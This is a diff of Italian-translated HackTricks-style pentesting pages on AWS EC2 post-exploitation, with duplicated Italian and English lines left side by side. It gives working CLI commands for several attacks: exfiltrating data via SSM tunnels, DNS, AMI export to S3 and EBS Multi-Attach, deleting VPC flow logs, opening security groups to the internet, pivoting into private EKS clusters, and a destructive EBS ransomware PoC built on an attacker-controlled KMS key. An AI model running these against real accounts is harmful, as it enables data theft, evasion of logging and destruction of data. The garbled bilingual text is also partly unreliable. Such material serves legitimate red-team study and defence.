Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Useful when the victim volume already has Multi-Attach enabled within the same AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Grants quick lateral movement paths without opening public ports.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Anche se blocchi un EC2 in modo che nessun traffico possa uscire, può comunque **esfiltrare tramite DNS**.
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
|
||||
- **I VPC Flow Logs non registreranno questo**.
|
||||
- Non hai accesso ai log DNS di AWS.
|
||||
- Disabilita questo impostando "enableDnsSupport" su false con:
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Un attaccante potrebbe chiamare gli endpoint API di un account controllato da lui. Cloudtrail registrerà queste chiamate e l'attaccante sarà in grado di vedere i dati esfiltrati nei log di Cloudtrail.
|
||||
An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte come questa:
|
||||
You could get further access to network services by opening ports like this:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e poi rubare i dati delle istanze ECS.
|
||||
È possibile avviare un EC2 instance e registrarlo per l'esecuzione di ECS instances, per poi sottrarre i dati di queste ECS instances.
|
||||
|
||||
Per [**maggiori informazioni controlla questo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Rimuovere VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -95,63 +159,64 @@ Permessi richiesti:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere sfruttato per pivotare da istanze EC2 che non hanno accesso alla rete a causa di Security Groups o NACLs. Uno degli scenari in cui questo è utile è il pivoting da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
Oltre all'esecuzione di comandi, SSM consente il tunneling del traffico, che può essere abusato per pivotare da istanze EC2 che non hanno accesso di rete a causa di Security Groups o NACLs.
|
||||
Uno degli scenari in cui questo è utile è pivotare da un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un cluster EKS privato.
|
||||
|
||||
> Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installa il SessionManagerPlugin sul tuo computer
|
||||
2. Accedi al Bastion EC2 utilizzando il seguente comando:
|
||||
1. Installa il SessionManagerPlugin sulla tua macchina
|
||||
2. Accedi al Bastion EC2 usando il seguente comando:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Ottieni le credenziali temporanee Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Trasferisci le credenziali al tuo computer nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
|
||||
5. Accedi a EKS come Bastion EC2:
|
||||
3. Ottieni le credenziali temporanee AWS del Bastion EC2 con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Trasferisci le credenziali sulla tua macchina nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
|
||||
5. Accedi a EKS come il Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` per puntare a `https://localhost`
|
||||
6. Aggiorna il campo `server` nel file `$HOME/.kube/config` in modo che punti a `https://localhost`
|
||||
7. Crea un tunnel SSM come segue:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Il traffico dallo strumento `kubectl` è ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dal tuo computer eseguendo:
|
||||
8. Il traffico dello strumento `kubectl` viene ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Nota che le connessioni SSL falliranno a meno che tu non imposti il flag `--insecure-skip-tls-verify` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il tunnel sicuro AWS SSM, sei al sicuro da qualsiasi tipo di attacchi MitM.
|
||||
Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelizzato attraverso il tunnel sicuro di AWS SSM, sei protetto da qualsiasi tipo di attacco MitM.
|
||||
|
||||
Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
|
||||
Infine, questa tecnica non è specifica per l'attacco ai private EKS clusters. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro AWS service o un'applicazione custom.
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Inoltro porta rapido Locale ↔️ Remoto (AWS-StartPortForwardingSession)
|
||||
|
||||
Se hai bisogno di inoltrare **una sola porta TCP dall'istanza EC2 al tuo host locale**, puoi utilizzare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro host remoto richiesto):
|
||||
Se hai bisogno solo di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro remote host richiesto):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola di Security-Group in entrata**.
|
||||
Il comando stabilisce un tunnel bidirezionale tra la tua postazione di lavoro (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola inbound del Security-Group**.
|
||||
|
||||
Casi d'uso comuni:
|
||||
|
||||
* **Esfiltrazione di file**
|
||||
1. Sull'istanza avvia un rapido server HTTP che punta alla directory che desideri esfiltrare:
|
||||
* **File exfiltration**
|
||||
1. Sull'istanza, avvia un rapido server HTTP che punti alla directory che vuoi esfiltrare:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Dalla tua workstation recupera i file attraverso il tunnel SSM:
|
||||
2. Dalla tua postazione di lavoro recupera i file attraverso il tunnel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Accesso a applicazioni web interne (ad es. Nessus)**
|
||||
* **Accesso ad applicazioni web interne (es. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Suggerimento: Comprimi e cripta le prove prima di esfiltrarle in modo che CloudTrail non registri il contenuto in chiaro:
|
||||
Suggerimento: comprimi e cifra le prove prima di esfiltrarle in modo che CloudTrail non registri il contenuto in chiaro:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -168,19 +233,19 @@ Suggerimento: Comprimi e cripta le prove prima di esfiltrarle in modo che CloudT
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Cerca informazioni sensibili in AMI pubbliche e private
|
||||
### Cerca informazioni sensibili in AMIs pubbliche e private
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMI) pubbliche o private**. Automatizza il processo di avvio di istanze da AMI target, montando i loro volumi e scansionando alla ricerca di potenziali segreti o dati sensibili.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze dalle AMIs target, il montaggio dei loro volumi e la scansione alla ricerca di potenziali secrets o dati sensibili.
|
||||
|
||||
### Condividi Snapshot EBS
|
||||
### Condividi EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, considerando quanto sia facile usarlo per crittografare vari servizi AWS.
|
||||
Una prova di concetto simile alla dimostrazione di Ransomware presente nelle note di post-exploitation S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, vista la facilità con cui può essere usato per cifrare vari servizi AWS.
|
||||
|
||||
Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato manterrebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principale dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente l'accesso completo si chiama 'Outside Encryption'
|
||||
Prima, da un account AWS 'attacker', crea una customer managed key in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un malicious actor manterrebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per consentire a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola della policy che permette l'accesso totale si chiama 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -272,7 +337,7 @@ Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal clie
|
||||
]
|
||||
}
|
||||
```
|
||||
La regola della policy della chiave deve avere i seguenti permessi abilitati per consentire l'uso per crittografare un volume EBS:
|
||||
La regola della key policy deve avere abilitato quanto segue per permettere l'uso della stessa per cifrare un volume EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -280,21 +345,21 @@ La regola della policy della chiave deve avere i seguenti permessi abilitati per
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Ora con la chiave pubblicamente accessibile da utilizzare. Possiamo usare un account 'vittima' che ha alcune istanze EC2 attive con volumi EBS non crittografati allegati. I volumi EBS di questo account 'vittima' sono ciò che stiamo mirando a crittografare, questo attacco è sotto l'assunto di una violazione di un account AWS ad alta privilegio.
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
|
||||
 
|
||||
|
||||
Simile all'esempio di ransomware S3. Questo attacco creerà copie dei volumi EBS allegati utilizzando snapshot, utilizzerà la chiave pubblicamente disponibile dall'account 'attaccante' per crittografare i nuovi volumi EBS, quindi staccherà i volumi EBS originali dalle istanze EC2 e li eliminerà, e infine eliminerà gli snapshot utilizzati per creare i nuovi volumi EBS crittografati. 
|
||||
Simile all'esempio di ransomware su S3. Questo attacco creerà copie dei volumi EBS allegati usando snapshot, userà la key pubblicamente disponibile dall'account 'attacker' per cifrare i nuovi volumi EBS, quindi scollegherà i volumi EBS originali dalle istanze EC2 e li eliminerà, e infine cancellerà gli snapshot usati per creare i nuovi volumi EBS cifrati. 
|
||||
|
||||
Questo porta a lasciare disponibili solo volumi EBS crittografati nell'account.
|
||||
Il risultato è che nell'account rimarranno disponibili solo volumi EBS cifrati.
|
||||
|
||||

|
||||
|
||||
Vale anche la pena notare che lo script ha fermato le istanze EC2 per staccare ed eliminare i volumi EBS originali. I volumi originali non crittografati sono ora scomparsi.
|
||||
Vale inoltre la pena notare che lo script ha arrestato le istanze EC2 per scollegare e eliminare i volumi EBS originali. I volumi originali non cifrati sono ora spariti.
|
||||
|
||||

|
||||
|
||||
Successivamente, torna alla policy della chiave nell'account 'attaccante' e rimuovi la regola della policy 'Outside Encryption' dalla policy della chiave.
|
||||
Successivamente, torna alla key policy nell'account 'attacker' e rimuovi la regola di policy 'Outside Encryption' dalla key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -365,15 +430,15 @@ Successivamente, torna alla policy della chiave nell'account 'attaccante' e rimu
|
||||
]
|
||||
}
|
||||
```
|
||||
Aspetta un momento affinché la nuova policy della chiave si propaghi. Poi torna all'account 'vittima' e prova ad allegare uno dei nuovi volumi EBS crittografati. Scoprirai che puoi allegare il volume.
|
||||
Attendi un momento che la nuova key policy impostata si propaghi. Poi torna all'account 'victim' e prova ad allegare uno dei nuovi volumi EBS criptati. Vedrai che puoi allegare il volume.
|
||||
|
||||
 
|
||||
|
||||
Ma quando provi effettivamente a riavviare l'istanza EC2 con il volume EBS crittografato, fallirà e passerà dallo stato 'in attesa' allo stato 'fermo' per sempre, poiché il volume EBS allegato non può essere decrittografato utilizzando la chiave, poiché la policy della chiave non lo consente più.
|
||||
Ma quando tenti effettivamente di avviare di nuovo l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' a quello 'stopped' all'infinito, poiché il volume EBS allegato non può essere decriptato usando la key dato che la key policy non lo permette più.
|
||||
|
||||
 
|
||||
|
||||
Questo è lo script python utilizzato. Prende le credenziali AWS per un account 'vittima' e un valore ARN AWS disponibile pubblicamente per la chiave da utilizzare per la crittografia. Lo script creerà copie crittografate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS mirato, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS crittografati nell'account 'vittima' mirato. UTILIZZA QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DESTRUTTIVO E CANCELLERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli utilizzando la chiave KMS utilizzata e ripristinarli al loro stato originale tramite snapshot, ma voglio solo farti sapere che alla fine della giornata si tratta di una PoC di ransomware.
|
||||
Questo è lo script python utilizzato. Prende le AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la cifratura. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS bersaglio, poi arresterà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine cancellerà tutti gli snapshots utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'victim' bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLA TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite snapshot, ma volevo farti sapere che, alla fine, si tratta di un ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -492,6 +557,6 @@ main()
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [Pentest Partners – Come trasferire file in AWS utilizzando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – Come trasferire file in AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sommario
|
||||
Abuse EC2 AMI export-to-S3 per esfiltrare l'intero disco di un'istanza EC2 come singola immagine raw memorizzata in S3, quindi scaricarla fuori banda. Questo evita la condivisione di snapshot e produce un oggetto per AMI.
|
||||
|
||||
## Requisiti
|
||||
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` sull'istanza/AMI target
|
||||
- S3 (stessa Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
|
||||
- KMS decrypt sulla chiave che protegge gli snapshot AMI (se è abilitata la cifratura predefinita di EBS)
|
||||
- Policy del bucket S3 che si fida del principal di servizio `vmie.amazonaws.com` (vedi sotto)
|
||||
|
||||
## Impatto
|
||||
- Acquisizione completa offline del disco root dell'istanza in S3 senza condividere snapshot o copiare tra account.
|
||||
- Permette analisi forense furtiva di credenziali, configurazione e contenuti del filesystem dall'immagine raw esportata.
|
||||
|
||||
## Come esfiltrare via AMI Store-to-S3
|
||||
|
||||
- Note:
|
||||
- Il bucket S3 deve essere nella stessa Region dell'AMI.
|
||||
- In `us-east-1`, `create-bucket` non deve includere `--create-bucket-configuration`.
|
||||
- `--no-reboot` crea un'immagine crash-consistente senza arrestare l'istanza (più furtivo ma meno consistente).
|
||||
|
||||
<details>
|
||||
<summary>Step-by-step commands</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<i-victim>
|
||||
BUCKET=exfil-ami-$(date +%s)-$RANDOM
|
||||
|
||||
# 1) Create S3 bucket (same Region)
|
||||
if [ "$REGION" = "us-east-1" ]; then
|
||||
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
|
||||
else
|
||||
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
|
||||
fi
|
||||
|
||||
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
cat > /tmp/bucket-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVMIEPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "vmie.amazonaws.com"},
|
||||
"Action": [
|
||||
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
|
||||
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::$BUCKET",
|
||||
"arn:aws:s3:::$BUCKET/*"
|
||||
],
|
||||
"Condition": {
|
||||
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
|
||||
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
POL
|
||||
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
|
||||
|
||||
# 3) Create an AMI of the victim (stealthy: do not reboot)
|
||||
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
|
||||
|
||||
# 4) Wait until the AMI is available
|
||||
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
|
||||
|
||||
# 5) Store the AMI to S3 as a single object (raw disk image)
|
||||
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
|
||||
|
||||
echo "Object in S3: s3://$BUCKET/$OBJKEY"
|
||||
|
||||
# 6) Poll the task until it completes
|
||||
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
|
||||
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 7) Prove access to the exported image (download first 1MiB)
|
||||
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
|
||||
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
|
||||
ls -l /tmp/ami.bin
|
||||
|
||||
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
|
||||
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
|
||||
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
|
||||
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
|
||||
done
|
||||
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
|
||||
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Esempio di evidenza
|
||||
|
||||
- `describe-store-image-tasks` transizioni:
|
||||
```text
|
||||
InProgress
|
||||
Completed
|
||||
```
|
||||
- Metadati oggetto S3 (esempio):
|
||||
```json
|
||||
{
|
||||
"AcceptRanges": "bytes",
|
||||
"LastModified": "2025-10-08T01:31:46+00:00",
|
||||
"ContentLength": 399768709,
|
||||
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
|
||||
"ContentType": "application/octet-stream",
|
||||
"ServerSideEncryption": "AES256",
|
||||
"Metadata": {
|
||||
"ami-name": "exfil-1759887010",
|
||||
"ami-owner-account": "<account-id>",
|
||||
"ami-store-date": "2025-10-08T01:31:45Z"
|
||||
}
|
||||
}
|
||||
```
|
||||
- Il download parziale dimostra l'accesso all'oggetto:
|
||||
```bash
|
||||
ls -l /tmp/ami.bin
|
||||
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
|
||||
```
|
||||
## Permessi IAM richiesti
|
||||
|
||||
- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
|
||||
- S3 (sul bucket di esportazione): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
|
||||
- KMS: Se gli snapshot AMI sono encrypted, consentire decrypt per la EBS KMS key usata dagli snapshot
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,78 @@
|
||||
# AWS - Live Data Theft via EBS Multi-Attach
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sommario
|
||||
Abusa di EBS Multi-Attach per leggere da un volume dati live io1/io2 allegando lo stesso volume a un'istanza controllata dall'attaccante nella stessa Zona di disponibilità (AZ). Montare il volume condiviso in sola lettura consente l'accesso immediato ai file in uso senza creare snapshots.
|
||||
|
||||
## Requisiti
|
||||
- Volume di destinazione: io1 o io2 creato con `--multi-attach-enabled` nella stessa AZ dell'istanza dell'attaccante.
|
||||
- Permessi: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` sul volume/istanze target.
|
||||
- Infrastruttura: tipi di istanza basati su Nitro che supportano Multi-Attach (famiglie C5/M5/R5, ecc.).
|
||||
|
||||
## Note
|
||||
- Montare in sola lettura con `-o ro,noload` per ridurre il rischio di corruzione e evitare il replay del journal.
|
||||
- Sulle istanze Nitro il dispositivo EBS NVMe espone un percorso stabile `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (helper sotto).
|
||||
|
||||
## Prepara un volume io2 Multi-Attach e collegalo all'istanza vittima
|
||||
|
||||
Esempio (crea in `us-east-1a` e collegalo all'istanza vittima):
|
||||
```bash
|
||||
AZ=us-east-1a
|
||||
# Create io2 volume with Multi-Attach enabled
|
||||
VOL_ID=$(aws ec2 create-volume \
|
||||
--size 10 \
|
||||
--volume-type io2 \
|
||||
--iops 1000 \
|
||||
--availability-zone $AZ \
|
||||
--multi-attach-enabled \
|
||||
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
|
||||
--query 'VolumeId' --output text)
|
||||
|
||||
# Attach to victim instance
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
|
||||
```
|
||||
Sulla vittima, format/mount il nuovo volume e scrivi dati sensibili (illustrativo):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkfs.ext4 -F "$DEV"
|
||||
sudo mkdir -p /mnt/shared
|
||||
sudo mount "$DEV" /mnt/shared
|
||||
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
|
||||
sudo sync
|
||||
```
|
||||
## Collegare lo stesso volume all'attacker instance
|
||||
```bash
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
|
||||
```
|
||||
## Montare in read-only sull'attacker e leggere i dati
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkdir -p /mnt/steal
|
||||
sudo mount -o ro,noload "$DEV" /mnt/steal
|
||||
sudo cat /mnt/steal/secret.txt
|
||||
```
|
||||
Lo stesso `VOL_ID` mostra più `Attachments` (victim and attacker) e l'attacker può leggere i file scritti dalla victim senza creare alcuno snapshot.
|
||||
```bash
|
||||
aws ec2 describe-volumes --volume-ids $VOL_ID \
|
||||
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
|
||||
```
|
||||
<details>
|
||||
